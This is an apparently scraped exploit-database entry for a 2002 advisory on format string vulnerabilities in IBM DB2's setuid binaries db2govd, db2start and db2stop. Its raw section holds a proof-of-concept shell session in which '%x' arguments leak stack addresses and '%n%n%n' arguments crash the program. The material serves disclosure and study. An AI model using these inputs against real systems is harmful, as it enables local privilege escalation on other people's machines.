Command-Line Parameter Format String Vulnerabilities in IBM DB2

vendor:

DB2

by:

SecurityFocus

7.2

CVSS

HIGH

Format String Vulnerability

134

CWE

Product Name: DB2

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: N/A

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2002

Command-Line Parameter Format String Vulnerabilities in IBM DB2

Multiple command-line parameter format string vulnerabilities have been discovered in various IBM DB2 binaries. Specifically, format-based functions are implemented erroneously within the db2govd, db2start, and db2stop programs. These binaries are typically installed setuid, allowing a malicious local user to gain elevated privileges.

Mitigation:

N/A

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/8989/info
  
Multiple command-line parameter format string vulnerabilities have been discovered in various IBM DB2 binaries. Specifically, format-based functions are implemented erroneously within the db2govd, db2start, and db2stop programs. These binaries are typically installed setuid. As a result, a malicious local user may be capable of gaining elevate privileges.

[db2inst1@RiotStarter adm]$ ./db2govd validate garbage %x
GOV1023N Unable to open configuration file "bfffed88". RC = "-2045837302".
[db2inst1@RiotStarter adm]$ ./db2govd validate garbage %n%n%n
Segmentation fault
[db2inst1@RiotStarter adm]$ ./db2govd stop a %x
db2govd: GOV1005N No governor for database "A" on node "bfffe188" is
running, or it is already being stopped.
[db2inst1@RiotStarter adm]$ ./db2govd stop a %n%n%n
Segmentation fault
[db2inst1@RiotStarter adm]$ ./db2govd stop %x b
db2govd: GOV1005N No governor for database "BFFFD788" on node "b" is
running, or it is already being stopped.
[db2inst1@RiotStarter adm]$ ./db2govd stop %n%n%n b
Segmentation fault